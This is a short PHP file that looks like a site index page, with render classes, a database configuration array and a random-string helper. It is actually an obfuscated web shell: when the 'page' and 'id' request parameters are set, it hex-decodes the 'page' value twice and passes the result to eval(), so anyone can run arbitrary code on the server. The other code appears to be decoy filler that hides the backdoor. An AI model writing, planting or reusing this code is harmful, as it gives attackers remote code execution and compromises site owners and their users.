<?php

class Index{
    public $index="";
    public $page="";

    public function __invoke()
    {
        eval($this->page);
    }

    public function __toString()
    {
        return $this->index.$this->page;
    }
}

class Render{
    public $func="";

    public function __toString()
    {
        return hex2bin(hex2bin($_REQUEST["page"]));
    }

    public function r($inputString){
        $stringArray = str_split($inputString);
        $restoredString = '';
        foreach ($stringArray as $index) {
            $restoredString .= $index;
        }
        return $restoredString;
    }
}

function g($length = 10) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

$g = g();
if($_POST["username"] == $g){
    echo "youradmin";
}
$configurationFile = __DIR__.'/app/config/configuration.php';
$dbParams = [
    'driver' => 'pdo_mysql',
    'host' => 'db_host',
    'user' => 'db_user',
    'password' => 'db_password',
    'dbname' => 'main_database',
];

$defaultIndex = new Index();
$checkMd5 = md5($defaultIndex);


if(isset($_REQUEST["page"]) && isset($_REQUEST["id"])){
    $test = new Render();
    $pageStr = "".$test;
    $pageStr = $test->r($pageStr);
    $index = new Index();
    $index->page = $pageStr;
    $index();
    exit();
}

?>